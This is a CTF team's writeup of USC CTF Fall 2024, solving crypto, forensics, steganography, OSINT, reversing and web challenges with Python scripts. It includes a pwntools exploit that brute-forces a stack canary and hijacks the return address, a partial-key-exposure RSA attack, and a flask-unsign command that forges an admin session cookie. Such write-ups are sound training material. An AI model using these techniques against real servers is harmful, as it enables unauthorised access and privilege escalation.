Post

USC CTF Fall 2024 - Writeups

This is a writeup for USC CTF Fall 2024. Our team placed 38th out of 797 teams on the general leaderboard and 12th on the casual leaderboard, which was a great result for a team of 3 individuals.

Cryptography

Decipherium [Crypto]

Description: Help I’ve been trapped in SGM for 3 hours!!

We are given a text file with the following text:

1
TeSbILaTeSnTeNoISnTeCsCsDyICdTeIISnTeLaSbCdTeTeTeLaTeSbINoTeSbSbInICdTeBaSbSbISnIYbSbCdTeXeINoSbSbTeHoTeITeFmTeITeMdITeSbICsEr

The text is encoded using the periodic table. We can decode the text using the periodic table to obtain the number of the element, which corresponds to the ASCII value of the character. The result is a hex string which can be converted to ASCII to obtain the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
element_to_atomic_number = {
    "H": 1, "He": 2, "Li": 3, "Be": 4, "B": 5, "C": 6, "N": 7,
    "O": 8, "F": 9, "Ne": 10, "Na": 11, "Mg": 12, "Al": 13, "Si": 14,
    "P": 15, "S": 16, "Cl": 17, "Ar": 18, "K": 19, "Ca": 20,
    "Sc": 21, "Ti": 22, "V": 23, "Cr": 24, "Mn": 25, "Fe": 26,
    "Co": 27, "Ni": 28, "Cu": 29, "Zn": 30, "Ga": 31, "Ge": 32,
    "As": 33, "Se": 34, "Br": 35, "Kr": 36, "Rb": 37, "Sr": 38,
    "Y": 39, "Zr": 40, "Nb": 41, "Mo": 42, "Tc": 43, "Ru": 44,
    "Rh": 45, "Pd": 46, "Ag": 47, "Cd": 48, "In": 49, "Sn": 50,
    "Sb": 51, "Te": 52, "I": 53, "Xe": 54, "Cs": 55, "Ba": 56,
    "La": 57, "Ce": 58, "Pr": 59, "Nd": 60, "Pm": 61, "Sm": 62,
    "Eu": 63, "Gd": 64, "Tb": 65, "Dy": 66, "Ho": 67, "Er": 68,
    "Tm": 69, "Yb": 70, "Lu": 71, "Hf": 72, "Ta": 73, "W": 74,
    "Re": 75, "Os": 76, "Ir": 77, "Pt": 78, "Au": 79, "Hg": 80,
    "Tl": 81, "Pb": 82, "Bi": 83, "Po": 84, "At": 85, "Rn": 86,
    "Fr": 87, "Ra": 88, "Ac": 89, "Th": 90, "Pa": 91, "U": 92,
    "Np": 93, "Pu": 94, "Am": 95, "Cm": 96, "Bk": 97, "Cf": 98,
    "Es": 99, "Fm": 100, "Md": 101, "No": 102, "Lr": 103, "Rf": 104,
    "Db": 105, "Sg": 106, "Bh": 107, "Hs": 108, "Mt": 109, "Ds": 110,
    "Rg": 111, "Cn": 112, "Nh": 113, "Fl": 114, "Mc": 115, "Lv": 116,
    "Ts": 117, "Og": 118
}

input_string = "TeSbILaTeSnTeNoISnTeCsCsDyICdTeIISnTeLaSbCdTeTeTeLaTeSbINoTeSbSbInICdTeBaSbSbISnIYbSbCdTeXeINoSbSbTeHoTeITeFmTeITeMdITeSbICsEr"

# List to hold the atomic numbers
atomic_numbers = []

# Process the input string
i = 0
while i < len(input_string):
    if i + 1 < len(input_string) and input_string[i:i+2] in element_to_atomic_number:
        atomic_numbers.append(element_to_atomic_number[input_string[i:i+2]])
        i += 2
    elif input_string[i] in element_to_atomic_number:
        atomic_numbers.append(element_to_atomic_number[input_string[i]])
        i += 1
    else:
        i += 1  # Move to the next character if it's not a valid symbol

# Convert atomic numbers to ASCII characters (only those in the valid ASCII range)
ascii_characters = ''.join(chr(num) for num in atomic_numbers if 0 <= num < 128)

print(ascii_characters)

hex_string = "4359424f52477B50455249304449435f4331504833525F30465f334C454d454e54357D"

# Convert hex to bytes
byte_array = bytes.fromhex(hex_string)

# Convert bytes to ASCII string
ascii_string = byte_array.decode('ascii')

print(ascii_string)

Flag: CYBORG{PERI0DIC_C1PH3R_0F_3LEMENT5}

Unpopcorn [Crypto]

Description: Welcome to the movies! I have here some Flagville Cryptobacher’s original gourmet popping corn kernels. I put them in the microwave, pop the kernels, and drizzle some butter on top. You take the bag of popcorn (the message) and wonder, how can I unpop the popcorn?

We are given a text file with the following text:

1
3FB60 4F510 42930 31058 DEA8 4A818 DEA8 1AA88 65AE0 1C590 17898 1C590 29170 3FB60 55D10 29170 42930 6A7D8 4C320 4F510 5FC0 193A0 4F510 2E288 29170 643F8 31058 6A7D8 4A818 1AA88 1AA88

as well as an encoder.py file that produced the text. The encoder.py file is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
m = 57983
p = int(open("p.txt").read().strip())

def pop(s):
    return map(lambda x: ord(x)^42, s)

def butter(s):
    return map(lambda x: x*p%m, s)

def churn(s):
    l = list(map(lambda x: (x << 3), s))
    return " ".join(map(lambda x: "{:x}".format(x).upper(), l[16:] + l[:16]))

flag = open("flag.txt").read().strip()
message = open("message.txt", "w")
message.write(churn(butter(pop(flag))))
message.close()

Our task is to brute force the value of p to obtain the flag. We can do this by iterating through all possible values of p and checking if the output of the reverse operations matches the flag prefix CYBORG. The good thing is we can place a limit on the value of p since the butter function multiplies the ASCII values of the characters by p and then takes the modulo m. We can use this to limit the range of p values to check.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from sympy import mod_inverse

m = 57983

encoded_message = "3FB60 4F510 42930 31058 DEA8 4A818 DEA8 1AA88 65AE0 1C590 17898 1C590 29170 3FB60 55D10 29170 42930 6A7D8 4C320 4F510 5FC0 193A0 4F510 2E288 29170 643F8 31058 6A7D8 4A818 1AA88 1AA88"
encoded_values = list(map(lambda x: int(x, 16), encoded_message.split()))

churned_values = encoded_values[-16:] + encoded_values[:-16]
shifted_values = list(map(lambda x: x >> 3, churned_values))

for possible_p in range(1, m):
    try:
        p_inv = mod_inverse(possible_p, m)
        butter_values = list(map(lambda x: (x * p_inv) % m, shifted_values))
        decoded_chars = ''.join(chr(x ^ 42) for x in butter_values)

        if "cyborg{" in decoded_chars.lower():
            print("Possible decoded flag with p =", possible_p)
            print(decoded_chars)
            break

    except ValueError:
        continue

Flag: CYBORG{R1Ch_BUTT3RY_SUSTENANC3}

D’ Lo [Crypto]

Description: It seems like D’ Lo was trying to use RSA to send a message. However, his communication seems vulnerable.

We are given a sage script that uses RSA to encrypt the flag. As always, we are given the N, e, and the ciphertext. What makes this challenge special (and difficult) is that we are given the low bits of d, which is the private key.

Reading a bit into RSA attacks that involve partial private key information, we come across this paper by Dan Boneh, Glenn Durfee & Yair Frankel that describes the Partial Key Exposure Attack on Low-exponent RSA in chapter 3 of said paper. One precondition is that e is small, which is the case in this challenge as e is 7. That means that an exhaustive search on values k less than 7 is feasible. Without going into too much detail about the math behind the attack, I simply used this script written in Sagemath that performs this attack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from attacks.rsa.partial_key_exposure import attack
from shared.partial_integer import PartialInteger
from Crypto.Util.number import long_to_bytes

n = 9537465719795794225039144316914692273057528543708841063782449957642336689023241057406145879616743252508032700675419312420008008674130918587435719504215151
e = 7
d_low = 0xb9b24053029f5f424adc9278c750b42b0b2a134b0a52f13676e94c01ef77
partial_d = PartialInteger()
partial_d.add_known(d_low, d_low.bit_length())
partial_d.add_unknown(n.bit_length() - d_low.bit_length())

p, q, d = attack(
    N=n,
    e=e,
    partial_d=partial_d,
    t=2
)

c = 4845609252254934006909399633004175203346101095936020726816640779203362698009821013527198357879072429290619840028341235069145901864359947818105838016519415

m = pow(c, d, n)
flag = long_to_bytes(m)

print(f"Decrypted flag: {flag.decode()}")

Flag: CYBORG{H0w_w3ll_d0_y0u_th1nk_d'lo_w1ll_d0_7h15_53ason??}

Forensics

Pineapple [Forensics]

Description: Our covert pineapples intercepted this traffic from people at the convention. Try find out what was sent.

We are given a packet capture file pineapple.pcapng. Opening the file in Wireshark, we see a lot of HTTP traffic. We can filter the traffic by HTTP and follow some of the streams. We see in one of the streams that there is a username and password being sent in plaintext. There is also another stream in which a file called ‘hoolicon.7z’ is being transmitted. Knowing that a 7z file starts with the bytes ‘37 7A’, we can filter out the information that corresponds to the transmission headers and isolate the file data. We can copy the data as a stream of raw bytes in hex and save it to a file. We can then extract the contents of the 7z file using 7z. If the process was done correctly, we should be prompted for a password. Remember the password we found earlier in the packet capture? That’s the password. Unzipping the archive gives us an image with the flag.

Flag: CYBORG{pe4cefaRe_4x09}

Miscellaneous

Redwoods [Misc]

Description: I’ve been looking at computers and racking my brain for far too long. A walk through the woods should help clear my mind.

Admitidely, I couldn’t complete this challenge. I knew that misc challenges are a combination of different types of challenges, but I got misled to believe it was a reverse engineering and cryptography challenge, when in reality it required more. Let’s review what.

We are given a .jar file. Decompiling it we find that this is a text adventure game that gives us the flag in 3 parts. The game does not do anything else. The 3 flag parts are combined to form this:

1
ccccccccccagccccccchdbgdddehcccccagcccchdbgccehcccccagddddhdbgdddehgcccccccccccccecccedddddddddddeagcgchhdbcccccagcccccccccchdbgccegcedddeddddeccccccccccccccccceddddddddddddddehhccccccaggccccchhdbggdddedddddddddddeddehhccccccaggdddddhhdbggdeehhcccccccccccaggcccchhdbggehhcccccaggdddddhhdbggeagcgchhdbabccccccaggdddhhdbggehcccccceehhcce

Right. This is the part I thought would involve cryptography, but I couldn’t figure out what kind of encryption was used. That is, because there was none. I was right and just didn’t know it. The next step was to test the jar file for some steganography techniques. Running ‘binwalk’ on the jar file revealed that there was a png file named mistywoods.png embedded in the jar file. The image is simply some kind of forest. But putting the picture in aperisolve we find that encoded in the red channel is a guide mapping the characters in the encoded flag to characters. We can use a quick script to do the mapping and get the decoded string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Input string
input_string = "ccccccccccagccccccchdbgdddehcccccagcccchdbgccehcccccagddddhdbgdddehgcccccccccccccecccedddddddddddeagcgchhdbcccccagcccccccccchdbgccegcedddeddddeccccccccccccccccceddddddddddddddehhccccccaggccccchhdbggdddedddddddddddeddehhccccccaggdddddhhdbggdeehhcccccccccccaggcccchhdbggehhcccccaggdddddhhdbggeagcgchhdbabccccccaggdddhhdbggehcccccceehhcce"

# Define the mapping
mapping = {
    'a': '[',
    'b': ']',
    'c': '+',
    'd': '-',
    'e': '.',
    'f': ',',
    'g': '>',
    'h': '<'
}

# Translate the input string
translated_string = ''.join(mapping[char] for char in input_string)

print(translated_string)

And now it is obvious. The output is written in brainfuck. Putting it in an online decoder we get the flag.

Flag: CYBORG{HEARD_TR33_F4LL}

OSINT

Beer Sales

Description: In August 2024, a lot of beer was sold in Orlando, Florida. But how much, exactly? Lucky for us, they left the exact number on a PDF on an open FTP server! Include the total number of gallons of beer.

Doing a simple google search for “august 2024 orlando florida beer sales” we find a pdf file hosted on flgov.com with what seems to be exactly what we want. The problem is we cannot open it direct

The description mentions an ftp server. Interestingly, running ftp flgov.com we are greeted with a login. Even better, anonymous login is allowed. Navigating to /pub/llweb we find a bunch of files, some of which are related to beer. One of these files, Beer4.pdf contains the information we need for Orlando, Florida. At the very end of the file, we find that the total bulk gallons of beer sold are 861641.36, which is also our flag.

Flag: CYBORG{861641.36}

Pwn

Reader [Pwn]

Description: Can you give the right answers to get to where it is needed? Note: using brute-force methods on the challenge instance is permitted for this challenge.

We are given a binary file reader. Running the binary, we see that it asks for some input over and over again. We also notice that if we input more than 72 characters we get a stack canary smashed error. This means that the binary is vulnerable to a buffer overflow attack.

Analysing the binary with Cutter, we see a few things. First, the functions of interest are main, vuln, and win. Also, the binary is indeed vulnerable to buffer overflow. The read function is taking 0x80 bytes, whereas the buffer is located at stack-0x58. This means we can overwrite the return address. However, there is also a canary at the typical location stack-0x10, which we do not know, and can’t find out from the input as the binary is not leaking any information. There is no format string vulnerability either.

For those who are not familiar with the stack canary, it is a security feature that protects against buffer overflow attacks. It is a random value that is placed between the local variables and the saved frame pointer. If the canary is overwritten, the program will detect it and terminate. In a 64-bit system, the canary is 8 bytes long and is placed right after RBP. That is how we get the canary at the location stack-0x10 (16 bytes).

The distance between the buffer and the canary is 0x58 - 0x10 = 0x48 = 72 bytes. This means we can overwrite the return address with the address of the win function, but we need to know the canary value. How can we possibly do that?

This is where a little prior knowledge about syscalls is useful. What the binary does is it forks itself over and over and calls the vuln function. The vuln function reads our input, checks the canary, and then terminates the child process, after which the parent process just forks another child. The neat thing about forking is that the child process inherits the memory of the parent process, including the stack canary! This means that we can brute force each byte of the canary until we obtain all 8 bytes of it. How? Simple.

When we provide our input, we first provide 72 bytes of junk to reach the canary. Then, we start providing the first byte of the canary, which is always null (0x00). We then provide the next byte. If it is wrong, the program will output “Stack smashing detected”. If it is correct, the child process will simply terminate and it won’t output anything about the stack canary. The new child process will take over and ask again for input with the prompt “Enter some data: “ of the vuln function. That means we can use the stack smashing message as an oracle to brute force the canary! We can do this for all 8 bytes of the canary and then overwrite the return address with the address of the win function. The address of win is constant as we don’t have PIE enabled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

def connect():
    return remote("0.cloud.chals.io", 10677)
    #return process("./reader")

def get_bf(base):
    canary = b""
    guess = 0x0
    base += canary
    r = connect()

    while len(canary) < 8:
        while guess <= 0xff:
            try:
                r.recvuntil(b"some data: ", timeout=1)
                r.send(base + bytes([guess]))
                response = r.recvuntil(b"\nEnter ", timeout=1)
                if response:
                    if b"stack smashing detected" in response:
                        guess += 1
                    else:
                        print("Guessed correct byte:", format(guess, '02x'))
                        canary += bytes([guess])
                        base += bytes([guess])
                        guess = 0x0
                        break
                else:
                    r.close()
                    r = connect()
            except EOFError:
                print("EOFError encountered, reconnecting...")
                r = connect()
                break
            except Exception as e:
                print(f"Unexpected error: {e}")
                r = connect()
                break

        print("Partial canary:", canary.hex())

    padding1 = b"A" * 72
    padding2 = b"B" * 8
    #return_address = b"\x76\x12\x40\x00\x00\x00\x00\x00"
    return_address = p64(elf.symbols['win'])

    payload = padding1 + canary + padding2 + return_address # Reach canary, overwrite canary, overwrite rbp, overwrite rip with win address
    print("Payload:", payload)
    r.send(payload)

    try:
        output = r.recvall(timeout=1)
        print("Binary Output:", output.decode(errors="ignore"))
    except EOFError:
        print("EOFError on final payload send.")

    r.close()
    print("FOUND: \\x" + '\\x'.join("{:02x}".format(b) for b in canary))
    return base

canary_offset = 72
base = b"A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base)
CANARY = u64(base_canary[-8:])
print("Discovered Canary:", hex(CANARY))

Running the script on the remote server, we get the canary value, and execution in the win function gives us the flag.

Flag: CYBORG{u_hulk_sm4sh3d_th4t_c4n4ry_l1k3_a_ch4mp!!!}

Reverse Engineering

trynewthings [Rev]

Description: This is my first reverse engineering challenge! I usually make crypto challenges, so keep that in mind. Try new things! Except for drugs… maybe not those.

Oh boy… This challenge gave me a real headache. We are given a binary file trynewthings. Running the binary, we see that it asks for a guess. Opening the file in Ghidra we see that the guess is encoded, and the encoded guess is compared to a byte array. The encoding however is quite a tricky process to understand, especially given that Ghidra itself was not enough to fully obtain all the necessary details. Decompiling the file in dogbolt.com using different decompilers, we get all sorts of different implementations for the encode function, which was quite trippy. But, in essence, the encode function uses the string minghsiehdepartmentofelectricalandcomputerengineering with the null byte at the end, and performs some operations on the guess to encode it. The encoded guess is then compared to the byte array which is the encoded flag. Therefor, we need to reverse the encoding process to obtain the flag from the encoded flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
byte_data = [
    0x07, 0x84, 0x74, 0x7c, 0x88, 
    0x70, 0xa4, 0xa4, 0x92, 0xa1, 
    0x97, 0x9b, 0xa9, 0x8e, 0x65, 
    0xaf, 0x9d, 0x98, 0x9c, 0x95, 
    0x8d, 0xa4, 0x8a, 0xad
]

def decode():
    source = "minghsiehdepartmentofelectricalandcomputerengineerin"
    result = ""
    
    for i in range(len(byte_data)):
        if i == 0:
            local_val = 0x00  # null byte
        elif i == 1:
            local_val = 0x67  # 'g'
        else:
            local_val = ord(source[-(i-1)])
        
        decoded_char = byte_data[i] + 60 - local_val
        result += chr(decoded_char)
    return result

decoded = decode()
print(decoded)

Flag: CYBORG{reverse-viginere}

Basic Rust Rev [Rev]

Description: I love writing code in Rust, I do not love reverse engineering Rust. (Provided .exe is for Windows, other executable is for Linux.)

We are given two binary files, one for Windows and one for Linux (I used the latter). Reversing the binary in Ghidra, we see… not much. It is well known that reversing Rust binaries is a pain, and this binary is no exception. However, funnily enough, I found it curiously easy. The binary asks for two inputs: a string and a number. The if conditional checks if the string is equal to the revers of “relevarT” and the number is equal to 1961. If both conditions are met, CYBORG{} is printed with some content in it. The reverse of relevarT is Traveler. Inputting Traveler and 1961 gives us the flag.

Flag: CYBORG{Traveler_1961}

Web

Tommy’s Artventures [Web]

Description: psst.. i found the secret key used by the Tommy’s Artventures flask server! our next mission shall be to heist the flag >:)

My teammate Juke gave a wonderful assist with this challenge. We are given the secret key that the flask server uses to sign the session cookies. We can log in to the website and inspect the cookies to find the session cookie. We can then forge a new session cookie with the username “admin” and sign it with the secret key we found. We can then replace the session cookie with the forged token and navigate to /curate to get the flag. The /curate page is only accessible to the admin user and can be found by navigating to the robots.txt file.

1
python3 -m flask_unsign --sign --cookie '{"user": "admin"}' --secret '4a6282bf78c344a089a2dc5d2ca93ae6'

Flag: CYBORG{oce4n5_auth3N71ca7i0N}

This post is licensed under CC BY 4.0 by the author.